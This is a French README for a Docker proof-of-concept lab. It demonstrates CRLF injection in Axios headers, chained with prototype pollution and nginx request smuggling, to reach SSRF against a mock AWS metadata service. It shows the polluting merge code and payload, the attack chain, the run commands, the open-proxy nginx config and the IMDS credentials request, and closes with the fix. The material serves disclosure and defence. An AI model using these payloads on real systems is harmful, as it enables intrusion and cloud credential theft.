
Preuve de concept démontrant l'injection CRLF et la contrebande de requêtes HTTP dans Axios, enchaînant la pollution de prototype pour réaliser une SSRF et accéder à des services internes comme IMDS.
Vulnérabilité d'injection CRLF dans le client HTTP Axios (>=1.0.0 <1.15.0, <0.31.0), causée par l'absence de validation de \r\n dans les valeurs de headers par AxiosHeaders.set().
Un attaquant, en combinant une Pollution de Prototype (lodash, qs, etc.) ou en injectant directement des CRLF dans les headers, peut réaliser un SSRF vers des serveurs internes arbitraires via une couche intermédiaire comme un proxy ouvert nginx.
| Élément | Détails |
|---|
| CVSS | 9.9 (Critique) |
| Versions affectées | axios >=1.0.0 <1.15.0, axios <0.31.0 |
| Versions corrigées | 1.15.0, 0.31.0 |
| CWE | CWE-93 Neutralisation incorrecte des séquences CRLF |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ supprime uniquement les CRLF de fin
↑ les \r\n au milieu de la valeur passent tels quels
En conséquence, injecter \r\n\r\nGET /admin HTTP/1.1\r\n... dans une valeur de header intègre une seconde requête HTTP directement dans le flux TCP.
Tous les objets JavaScript héritent de Object.prototype. La Pollution de Prototype consiste à polluer ce prototype partagé afin d'affecter tous les objets créés ultérieurement.
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← n'a jamais été déclaré mais existe
Elle se produit lorsqu'une fonction de fusion récursive vulnérable (lodash < 4.17.21, qs, etc.) ne traite pas spécialement la clé "__proto__".
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// lorsque key = "__proto__" :
// target["__proto__"] → retourne Object.prototype
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → injection directe de propriétés dans Object.prototype
} else {
target[key] = source[key];
}
}
}
// JSON de l'attaquant : __proto__ est parsé comme propriété propre
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← pollution réussie
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
Code applicatif : const opts = {};
opts.headers → chaîne de prototypes → retourne l'objet pollué
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← aucune validation CRLF
↓
Requête furtive incluse dans le flux TCP
Polluer Object.prototype.headers affecte également les objets de schéma internes d'axios.
Lors de l'appel de assertOptions(config, schema)
schema['headers'] → chaîne de prototypes → retourne l'objet pollué
validator(value) → appelle l'objet comme une fonction → TypeError
Dans une attaque réelle, il faut contrôler précisément l'étendue de la pollution ; une pollution trop large peut faire planter l'application avant l'attaque prévue (effet secondaire DoS).
[1] Injection directe de headers ou Pollution de Prototype (via une bibliothèque de fusion vulnérable)
↓
[2] axios sérialise la valeur contenant des CRLF comme header sans validation
↓
[3] Écriture dans le flux TCP via un net.Socket brut
(le module http standard de Node.js bloque à l'exécution → adapter personnalisé requis)
↓
[4] nginx (proxy_pass http://$http_host) parse et sépare en 2 requêtes
↓
[5] La requête furtive est routée vers un autre upstream selon son header Host (SSRF)
↓
[6] Accès au serveur interne (IMDS, etc.) → vol de credentials
| Condition | Détails |
|---|---|
| Contournement du module http de Node.js | Utilisation d'un adapter personnalisé basé sur net.Socket |
| Proxy ouvert nginx | Configuration proxy_pass http://$http_host |
ignore_invalid_headers on | Autorise les headers anormaux |
Directive resolver | Permet la résolution dynamique des hostnames |
┌─────────────────────────────────────────────────────────┐
│ Machine hôte │
│ │
│ test-axios-adapter-*.js │
│ (net.Socket brut → nginx:8080) │
│ │
│ navigateur → exploit.html (3003) │
│ → relay (3004) → socket brut → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Pont Docker (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (futur)
:3001 :8080 :80
:3003 (mock 169.254.169.254)
:3004
| Port | Service | Rôle |
|---|---|---|
| 3001 | backend | Réception des requêtes HTTP / journalisation des headers |
| 3003 | backend | Serveur statique pour exploit.html |
| 3004 | backend | relay — conversion POST navigateur → net.Socket |
| 8080 | nginx | Proxy ouvert (proxy_pass http://$http_host) |
| 80 (interne) | imds | Serveur mock AWS IMDSv2 |
# Construction et démarrage de tous les conteneurs
docker compose up --build
# Tests Node.js (exécutés sur l'hôte)
npm install
# 1. Backend direct — injection CRLF générant 2 requêtes
node poc/test-axios-adapter-backend.js
# 2. Via nginx — la requête furtive est routée vers backend:3001
node poc/test-axios-adapter-nginx.js
# 3. Pollution de Prototype → Injection CRLF → chaîne SSRF
node poc/test-prototype-pollution.js
# 4. Navigateur — http://localhost:3003
# Cible au choix : backend direct / via nginx / nginx → IMDS (SSRF)
1. Sélectionner nginx → IMDS puis exécuter l'Adapter personnalisé
2. Requête furtive : GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx route vers host=imds → transmise au serveur mock IMDSv2
4. Journal du conteneur imds : [!!!] Vol de credentials réussi !
.
├── docker-compose.yml
├── Dockerfile.backend # conteneur backend + relay
├── Dockerfile.imds # conteneur mock IMDSv2
├── package.json # [email protected] (version vulnérable épinglée)
└── poc/
├── backend-server.js # serveur HTTP (3001), relay (3004), serveur statique (3003)
├── mock-imds.js # mock AWS IMDSv2 (PUT /token, GET /credentials)
├── nginx-container.conf # configuration du proxy ouvert
├── exploit.html # PoC navigateur (XHR vs Adapter personnalisé)
├── test-axios-adapter-backend.js # socket brut → backend direct
├── test-axios-adapter-nginx.js # socket brut → nginx → backend/imds
├── test-axios-no-adapter.js # axios standard (vérification du blocage Node.js)
└── test-prototype-pollution.js # chaîne Pollution de Prototype → Injection CRLF
resolver 127.0.0.11 valid=30s; # DNS interne Docker
location / {
proxy_pass http://$http_host; # routage dynamique basé sur le header Host = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # upstream fixe pour les requêtes légitimes
}
$http_host (avec le port) étant utilisé comme upstream, le header Host de la requête furtive devient directement la destination de routage.
npm install axios@^1.15.0
Le correctif (1.15.0) introduit assertValidHeaderValue() qui rejette immédiatement toute valeur contenant CR/LF.
Défenses supplémentaires :
proxy_pass http://$http_host dans nginx → utiliser des upstreams fixesHttpTokens: required)